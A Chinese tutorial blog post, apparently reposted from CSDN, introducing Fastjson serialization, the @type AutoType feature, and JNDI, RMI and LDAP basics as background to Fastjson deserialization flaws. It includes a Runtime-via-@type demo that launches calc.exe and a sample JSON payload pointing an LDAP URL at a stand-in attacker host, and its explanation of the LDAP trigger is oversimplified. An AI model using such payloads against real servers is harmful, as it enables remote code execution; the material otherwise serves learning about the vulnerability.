Fastjson反序列化漏洞
title: Fastjson反序列化漏洞
categories:
- 漏洞复现
date: 2024-07-08 16:41:38
1.前言
fastjson是一个有阿里开发的一个开源Java 类库,可以将 Java对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)
2.fastjson怎么用
新建IDEA项目
maven环境搭建在log4j2中已经提到
在pom.xml文件添加依赖信息
依赖信息:Maven Repository: com.alibaba » fastjson » 1.2.50 (mvnrepository.com)
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.50</version>
</dependency>
</dependencies>
点击刷新文件
简单demo
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
}
通过以上代码我们可以看到,我们定义了一个Person
类,并设置了两个属性age
以及name
,以及简单定义了四个方法
我们通过Person person = new Person("Alice", 18);
来初始化对象,再通过String jsonString = JSON.toJSONString(person);
去把对象转化成json
字符串;之后,我们又可以通过Person person2 = JSON.parseObject(jsonString2, Person.class);
将json
字符串转换为java
对象
进一步更改demo代码
问题1 Person person2 = JSON.parseObject(jsonString2, Person.class);
为什么可以直接使用Person.class
来进行映射
在使用fastjson时,我们需要先将JSON
字符串和Java
对象之间建立映射关系,可以通过类的属性和JSON
字段名进行映射。在我们上面的代码中,Java
类的属性名和JSON
字段名是相同的,因此可以直接使用Person.class
来进行映射。
问题2 如果不同我们该怎么办
通过使用注解来指定它们之间的映射关系。在fastjson
中,可以使用@JSONField
注解来指定Java
类的属性和JSON
字段之间的映射关系。请看以下demo
代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;
public class Main {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"user_name\":\"Bob\",\"user_age\":20}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
}
在定义name
和age
时,在上面分别加入了一行@JSONField(name = "user_name")
和@JSONField(name = "user_age")
,这样一来,即使我们输入的字符串中写的是user_name
和user_age
,它也能被识别解析到。
@type是什么东西?如何反序列化带@type的json字符串?
@type
是fastjson
中的一个特殊注解,用于标识JSON
字符串中的某个属性是一个Java
对象的类型。当fastjson
从JSON
字符串反序列化为Java
对象时,如果JSON
字符串中包含@type
属性,fastjson
会根据该属性的值来确定反序列化后的Java
对象的类型。请看以下代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");
}
}
可以看到直接弹窗:
fastjson
在1.2.24
之后默认禁用AutoType
,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");
来开启,否则会报错autoType is not support
。
新的demo
首先是类的定义,例如我们的Person.java
:
package org.example;
public class Person {
private String name;
private int age;
public Person() {}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
然后是Main.java
:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
输出的结果为:
在和前面代码做对比后,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,开启自省后序列化成JSON
的数据就会多一个@type
,这个是代表对象类型的JSON
文本。FastJson
的漏洞就是他的这一个功能去产生的,在对该JSON
数据进行反序列化的时候,会去调用指定类中对于的get/set/is
方法, 后面会详细分析。
然后我们就可以通过以下三种方式来反序列化json
字符串了:
// 方法一(返回JSONObject对象):
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parse(s1);
System.out.println(jsonObject);
// 方法二:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
Person user1 = JSON.parseObject(s, Person.class);
System.out.println(user1);
// 方法三:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
Person user1 = JSON.parseObject(s1,Person.class);
System.out.println(user1);
3. JNDI是什么东西?
JNDI
是Java
平台的一种API
,它提供了访问各种命名和目录服务的统一方式。
简单demo:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JndiExample {
public static void main(String[] args) {
try {
// 创建初始上下文
Context initialContext = new InitialContext();
// 查找数据源
DataSource dataSource = (DataSource) initialContext.lookup("java:comp/env/jdbc/MyDataSource");
// 使用数据源
Connection connection = dataSource.getConnection();
// 执行数据库操作...
connection.close();
} catch (NamingException | SQLException e) {
e.printStackTrace();
}
}
}
4.RMI是什么东西?
RMI
指的是远程方法调用,是Java
平台提供的一种机制,可以实现在不同Java
虚拟机之间进行方法调用。
RMI
的demo
代码,包括一个服务器端和一个客户端。这个demo
实现了一个简单的计算器程序,客户端通过RMI
调用服务器端的方法进行加、减、乘、除四则运算。
计算器接口
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Calculator extends Remote {
public int add(int a, int b) throws RemoteException;
public int subtract(int a, int b) throws RemoteException;
public int multiply(int a, int b) throws RemoteException;
public int divide(int a, int b) throws RemoteException;
}
客户端代码
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
private Client() {}
public static void main(String[] args) {
try {
// Get the registry
Registry registry = LocateRegistry.getRegistry("localhost", 1060);
// Lookup the remote object "Calculator"
Calculator calc = (Calculator) registry.lookup("Calculator");
// Call the remote method
int result = calc.add(5, 7);
// Print the result
System.out.println("Result: " + result);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
服务端代码
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Server extends UnicastRemoteObject implements Calculator {
public Server() throws RemoteException {}
@Override
public int add(int x, int y) throws RemoteException {
return x + y;
}
@Override
public int subtract(int a, int b) throws RemoteException {
return 0;
}
@Override
public int multiply(int a, int b) throws RemoteException {
return 0;
}
@Override
public int divide(int a, int b) throws RemoteException {
return 0;
}
public static void main(String args[]) {
try {
Server obj = new Server();
LocateRegistry.createRegistry(1060);
Registry registry = LocateRegistry.getRegistry(1060);
registry.bind("Calculator", obj);
System.out.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
先让服务器跑起来
客户端可以直接运行5+7结果
5.LDAP是什么?
轻量级目录访问协议,用于目录服务身份验证和管理。
demo
dc=example, dc=com
|
|-- ou=people
| |
| |-- uid=jdoe
| |
| |-- cn: John Doe
| |-- sn: Doe
| |-- mail: jdoe@example.com
| |-- uid: jdoe
| |-- userPassword: <password>
|
|-- ou=groups
|
|-- cn=admins
|
|-- cn: admins
|-- memberUid: jdoe
- dc=example, dc=com:表示域组件 (Domain Component)。
- ou=people 和 ou=groups:表示组织单元 (Organizational Unit)。
- uid=jdoe:表示用户条目。
- cn=admins:表示组条目。
在Fastjson
漏洞中,攻击者可以通过构造特定的LDAP
查询语句,来执行任意代码或获取敏感信息。例如,以下JSON
字符串包含一个恶意构造的LDAP URL
:
{"@type":"java.net.URL","val":"ldap://hackervps.com/exp"}
当Fastjson
解析该JSON
字符串时,会触发LDAP
查询操作,查询hackervps.com
上的LDAP
服务,并执行名为“exp
”的操作。这就是Fastjson
漏洞的成因之一。
漏洞学习
原文地址:https://blog.csdn.net/2301_82000839/article/details/140308954
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!